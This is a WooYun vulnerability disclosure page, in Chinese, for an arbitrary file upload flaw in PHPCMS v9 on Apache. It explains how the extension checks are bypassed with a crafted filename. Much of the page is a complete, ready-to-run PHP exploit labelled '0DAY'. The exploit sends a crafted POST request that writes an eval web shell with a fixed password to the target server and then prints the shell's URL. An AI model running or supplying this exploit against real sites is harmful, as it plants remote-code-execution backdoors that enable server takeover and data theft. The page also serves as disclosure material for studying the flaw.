当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019299

漏洞标题:PHPCMS v9 Getshell(Apache)

相关厂商:phpcms

漏洞作者: n3wF

提交时间:2013-02-27 23:17

修复时间:2013-03-04 23:17

公开时间:2013-03-04 23:17

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-27: 细节已通知厂商并且等待厂商处理中
2013-03-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

phpcms v9 getshell (apache)

详细说明:

漏洞文件:phpcms\modules\attachment\attachments.php

  public function crop_upload() {	
if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
   $pic = $GLOBALS["HTTP_RAW_POST_DATA"];
   if (isset($_GET['width']) && !empty($_GET['width'])) {
   $width = intval($_GET['width']);
   }
   if (isset($_GET['height']) && !empty($_GET['height'])) {
   $height = intval($_GET['height']);
   }
   if (isset($_GET['file']) && !empty($_GET['file'])) {
   $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号
   if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键
   if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
   $file = $_GET['file'];
   $basename = basename($file);//获取带有后缀的文件名
   if (strpos($basename, 'thumb_')!==false) {
   $file_arr = explode('_', $basename);
   $basename = array_pop($file_arr);
   }
   $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
   } else {
   pc_base::load_sys_class('attachment','',0);
   $module = trim($_GET['module']);
   $catid = intval($_GET['catid']);
   $siteid = $this->get_siteid();
   $attachment = new attachment($module, $catid, $siteid);
   $uploadedfile['filename'] = basename($_GET['file']);
   $uploadedfile['fileext'] = fileext($_GET['file']);
   if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {
   $uploadedfile['isimage'] = 1;
   }
   $file_path = $this->upload_path.date('Y/md/');
   pc_base::load_sys_func('dir');
   dir_create($file_path);
   $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];
   $uploadedfile['filepath'] = date('Y/md/').$new_file;
   $aid = $attachment->add($uploadedfile);
   }
   $filepath = date('Y/md/');
   file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控
   } else {
   return false;
   }
   echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;
   exit;
   }
   }


后缀检测:phpcms\modules\attachment\functions\global.func.php

function is_image($file) {
   $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');
   $ext = fileext($file);关键地方
   return in_array($ext,$ext_arr) ? $ext_arr :false;
  }


关键函数:

  function fileext($filename) {
   return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
  }


  Fileext函数是对文件后缀名的提取。
  根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
  经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
  我们回到public function crop_upload() 函数中
  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
  在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
  这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
  经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
  最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
  看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。

漏洞证明:

exp:

<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
code by L.N.
apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path
Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}
$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲!此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到!\n";exit;
}
}
}
function GetShell($url,$shell,$path,$js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}
function Create_dir($url,$path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
?>

修复方案:

过滤过滤再过滤

版权声明:转载请注明来源 n3wF@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-03-04 23:17

厂商回复:

最新状态:

暂无